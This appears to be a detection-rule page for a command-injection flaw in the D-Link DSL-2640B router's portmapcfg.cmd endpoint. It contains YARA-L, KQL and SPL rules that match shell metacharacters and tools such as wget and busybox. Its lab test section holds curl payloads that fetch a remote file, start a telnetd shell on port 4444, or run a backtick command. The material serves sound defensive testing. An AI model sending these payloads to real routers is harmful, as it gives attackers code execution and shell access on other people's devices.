Detect D-Link DSL-2640B portmapcfg.cmd cgiPortMapQrySwitch Command Injection (CVE-2026-138287) in Google Chronicle
Detects exploitation attempts against CVE-2026-138287, a critical (CVSS 9.3) OS command injection vulnerability in the cgiPortMapQrySwitch function within portmapcfg.cmd on D-Link DSL-2640B routers running firmware 3.0.6.0.41. An attacker can inject shell metacharacters (CWE-77/CWE-78) into the pmapcfgname parameter of the port-mapping configuration endpoint to execute arbitrary OS commands on the device. The attack can be initiated remotely and a public exploit has been released. Because these embedded routers lack endpoint agents, detection focuses on HTTP request telemetry from network proxies, firewalls, and web/management traffic logs showing shell metacharacters or command sequences in requests to portmapcfg.cmd, followed by anomalous outbound connections from the device.
MITRE ATT&CK
YARA-L Detection Query
// df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence
rule dlink_dsl2640b_portmapcfg_cmd_injection {
meta:
author = "Argus Detection Platform"
description = "Detects CVE-2026-138287 command injection against D-Link DSL-2640B portmapcfg.cmd"
severity = "CRITICAL"
events:
$e.metadata.event_type = "NETWORK_HTTP"
re.regex($e.network.http.referral_url, `(?i)portmapcfg\.cmd|cgiPortMapQrySwitch|pmapcfgname`) or re.regex($e.target.url, `(?i)portmapcfg\.cmd|cgiPortMapQrySwitch|pmapcfgname`)
re.regex($e.target.url, `(?i)(;|\||%60|%3B|%7C|\$\(|wget|curl|tftp|busybox|/bin/sh|telnetd)`)
$src = $e.principal.ip
match:
$src over 5m
condition:
$e
} Chronicle YARA-L rule matching NETWORK_HTTP events targeting the DSL-2640B port-mapping endpoint with command-injection payload patterns.
Data Sources
Required Tables
False Positives & Tuning
- Vulnerability scanner traffic against router management interface
- Administrator configuration with special characters in mapping names
- Authorized security assessments
Other platforms for CVE-2026-138287
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate portmapcfg.cmd command injection via pmapcfgname
Expected signal: Proxy/firewall HTTP log entry to portmapcfg.cmd with decoded query string containing 'pmapcfgname=test;wget ...'.
- Test 2 Pipe-based command injection probe
Expected signal: HTTP request log with raw '%7C' and 'busybox'/'telnetd' tokens in the URL to portmapcfg.cmd.
- Test 3 Backtick command substitution probe
Expected signal: HTTP log entry to portmapcfg.cmd containing a backtick (raw or %60) around 'id' in the pmapcfgname value.
Response Playbook
Triage
- Confirm the target device is a D-Link DSL-2640B running firmware 3.0.6.0.41 (or an unpatched variant) by reviewing the destination IP's asset inventory and any banner/UA data in the proxy logs.
- Extract and URL-decode the full pmapcfgname parameter from the matched request to determine the exact command the attacker attempted to execute (e.g., wget of a second-stage payload, reverse shell, or reconnaissance command).
- Determine whether the request returned an HTTP 200 and whether any corresponding outbound connection was initiated by the device shortly after, which indicates successful command execution.
- Check the source IP reputation against threat intelligence feeds to distinguish opportunistic botnet scanning from targeted activity.
Containment
- Block the attacker source IP at the perimeter firewall and restrict management-interface (HTTP/HTTPS) access to the DSL-2640B to trusted administrative networks only (ACL / management VLAN).
- Isolate the affected router from the internet if compromise is suspected, and disable remote/WAN-side administration on the device.
- Rotate device administrative credentials and any secrets reachable from the device after a confirmed compromise.
Evidence Collection
- Preserve the full proxy/firewall HTTP request and response records, including source IP, timestamp, decoded URL, and payload, for the incident record.
- Capture the device configuration backup and, if accessible, the router's syslog/running state for forensic review of injected port-mapping entries and persistence.
Escalation Criteria
- !Escalate to incident response immediately if logs show the device making outbound connections to attacker-controlled infrastructure or downloading a payload after the injection request.
- !Escalate if multiple internal devices or management endpoints show the same injection pattern, indicating lateral movement or a coordinated campaign against network infrastructure.
Investigation Guide
Forensic Artifacts
- >
Proxy/firewall HTTP access logs containing requests to portmapcfg.cmd with shell metacharacters in pmapcfgname - >
Router syslog entries or configuration showing anomalous port-mapping rule names or injected commands - >
NetFlow/connection logs showing unexpected outbound connections originating from the router IP
Tuning Guidance
Scope the queries to proxy/firewall segments that actually front D-Link DSL-2640B devices to reduce noise. Baseline normal administrative configuration traffic and allowlist known management source IPs. If vulnerability scanners regularly probe this interface, exclude their source IPs or correlate only on requests that produce a subsequent outbound connection from the device, which strongly elevates confidence of successful exploitation.
Hunting Queries
Hunts for any requests to the DSL-2640B port-mapping endpoint carrying command-injection characters, grouped by source, to surface scanning or exploitation bursts.
// df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "portmapcfg.cmd" | extend d = url_decode(RequestURL) | where d has_any (";","|","`","$(","wget","curl") | summarize count() by SourceIP, bin(TimeGenerated, 1h) ``` df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="*portmapcfg.cmd*" | eval d=urldecode(uri_query) | where match(d,"(?i)(;|\||`|wget|curl)") | stats count by src_ip, uri_query Atomic Red Team Tests
Sends a crafted HTTP request to the DSL-2640B port-mapping endpoint with a semicolon-delimited OS command in the pmapcfgname parameter to validate detection of command-injection payloads. Run only against an authorized lab device or mock endpoint.
Command
curl -s -G 'http://192.0.2.10/portmapcfg.cmd' --data-urlencode 'cgiPortMapQrySwitch=1' --data-urlencode 'pmapcfgname=test;wget http://198.51.100.5/x -O /tmp/x' Cleanup
rm -f /tmp/x 2>/dev/null; true Expected Telemetry
Proxy/firewall HTTP log entry to portmapcfg.cmd with decoded query string containing 'pmapcfgname=test;wget ...'.
Expected Detection
The kql/spl/EQL rules fire on the semicolon and 'wget' keyword within the pmapcfgname parameter.
Issues a request using a URL-encoded pipe character and busybox invocation in pmapcfgname to validate detection of alternate metacharacter encodings. Authorized lab use only.
Command
curl -s 'http://192.0.2.10/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapcfgname=a%7Cbusybox+telnetd+-l/bin/sh+-p4444' Cleanup
true Expected Telemetry
HTTP request log with raw '%7C' and 'busybox'/'telnetd' tokens in the URL to portmapcfg.cmd.
Expected Detection
Rules match on the %7C encoding and busybox/telnetd keywords.
Sends a request containing backtick command substitution in pmapcfgname to confirm the detection catches shell substitution syntax. Run against a lab/mock endpoint only.
Command
curl -s -G 'http://192.0.2.10/portmapcfg.cmd' --data-urlencode 'cgiPortMapQrySwitch=1' --data-urlencode 'pmapcfgname=`id`' Cleanup
true Expected Telemetry
HTTP log entry to portmapcfg.cmd containing a backtick (raw or %60) around 'id' in the pmapcfgname value.
Expected Detection
Rules fire on the backtick / %60 metacharacter indicator.